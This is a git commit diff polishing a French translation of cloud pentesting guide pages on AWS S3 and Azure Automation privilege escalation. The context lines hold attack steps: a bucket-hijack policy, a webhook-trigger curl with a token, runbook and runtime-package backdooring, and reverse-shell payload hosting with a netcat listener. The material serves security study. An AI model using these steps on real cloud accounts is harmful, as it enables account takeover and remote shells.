Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-05-09 12:43:57 +00:00
parent b0c33c335d
commit a1c02e4fbf
2 changed files with 7 additions and 7 deletions

View File

@@ -8,7 +8,7 @@
Un attaquant ayant ces permissions sur des buckets intéressants pourrait être en mesure de détourner des ressources et d'escalader des privilèges.
Par exemple, un attaquant avec ces **permissions sur un bucket cloudformation** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être accordé avec la politique suivante :
Par exemple, un attaquant ayant ces **permissions sur un bucket cloudformation** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être accordé avec la politique suivante :
```json
{
"Version": "2012-10-17",
@@ -55,7 +55,7 @@ Voici quelques exemples :
Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le stockage blob des fournisseurs de cloud, par exemple AWS S3. Le suffixe de fichier pour un fichier d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.\
De plus, dans les comptes du monde réel, presque tous les développeurs ont généralement `s3:*` et parfois même les utilisateurs professionnels ont `s3:Put*`.
Donc, si vous avez les permissions énumérées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir un RCE dans le pipeline avec les privilèges de `terraform` - la plupart du temps `AdministratorAccess`, vous faisant l'admin du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes.
Donc, si vous avez les permissions énumérées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir un RCE dans le pipeline avec les privilèges de `terraform` - la plupart du temps `AdministratorAccess`, vous rendant l'admin du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes.
Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour du code d'exploitation directement utilisable :

View File

@@ -142,7 +142,7 @@ Avec la permission **`Microsoft.Automation/automationAccounts/webhooks/write`**,
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Cette commande devrait renvoyer un URI de webhook qui n'est affiché qu'à la création. Ensuite, pour appeler le runbook en utilisant l'URI de webhook
Cette commande devrait renvoyer un URI de webhook qui n'est affiché qu'à la création. Ensuite, pour appeler le runbook en utilisant l'URI du webhook
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
@@ -192,7 +192,7 @@ az automation source-control create \
```
Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**.
De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID de l'IA doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID géré doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de version une fois qu'il est créé.
@@ -215,7 +215,7 @@ az rest --method PUT \
```
### Environnements d'exécution personnalisés
Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.
Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.
### Compromission de la configuration d'état
@@ -253,9 +253,9 @@ Le script est modifié pour spécifier la VM Windows cible et le port pour le re
Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows.
- Étape 6 — Héberger le payload et configurer l'écouteur
- Étape 6 — Héberger la charge utile et configurer l'écouteur
Un Python SimpleHTTPServer est démarré pour héberger le payload, avec un écouteur Netcat pour capturer les connexions entrantes.
Un Python SimpleHTTPServer est démarré pour héberger la charge utile, avec un écouteur Netcat pour capturer les connexions entrantes.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443